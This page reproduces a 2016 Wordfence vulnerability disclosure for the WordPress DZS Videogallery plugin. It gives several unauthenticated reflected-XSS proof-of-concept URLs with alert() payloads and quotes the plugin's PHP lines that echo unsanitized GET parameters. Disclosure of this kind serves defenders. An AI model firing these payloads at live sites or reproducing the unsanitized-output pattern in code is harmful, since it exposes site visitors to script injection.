扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
* Exploit Title: WordPress DZS Videogallery Plugin - Multiple Vulnerabilities <=8.60 * Discovery Date: 01.05.2016 * Public Disclosure Date:03.09.2016 * Vendor Homepage: http://digitalzoomstudio.net/ * Software Link: http://codecanyon.net/item/video-gallery-wordpress-plugin-w-youtube-vimeo-/157782 * Exploit Author: Colette Chamberland (Wordfence) * Contact: colette@wordfence.com * Version: <=8.60 * Tested on: WordPress 4.2.x-4.4.x * OVE-20160305-2497 Technical details: Unauthenticated CSRF & XSS POC: http://[target]/wp-content/plugins/dzs-videogallery/admin/playlistseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645 Line 13-15 (unsanitized input): if(isset($_GET['initer'])){ $initer = $_GET['initer']; } Line 27 (unsanitized output): <?php echo "var initer = '" . $initer . "';"; ?> --------------------------------------- Unauthenticated CSRF &XSS POC: http://[target]/wp-content/plugins/dzs-videogallery/admin/tagseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645 Line 13-15 (unsanitized input): if(isset($_GET['initer'])){ $initer = $_GET['initer']; } Line 27 (unsanitized output): <?php echo "var initer = '" . $initer . "';"; ?> --------------------------------------- Unauthenticated CSRF & XSS: POC(s): http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=6d27f"><script>alert(1)<%2fscript>894ba&type=&width= http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=7934f"><script>alert(1)<%2fscript>99085&width= http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=&width=54fd7"><script>alert(1)<%2fscript>4708b Line 25 & 35 (unsanitized input & direct output): $w =$_GET['width']; <param name="flashvars" value="video=' . $_GET['source'] . '&types=' . $_GET['type'] . '&defaultQuality=hd" width="' . $w . '" height="' . $h . '">'.$backup.' |
体验盒子
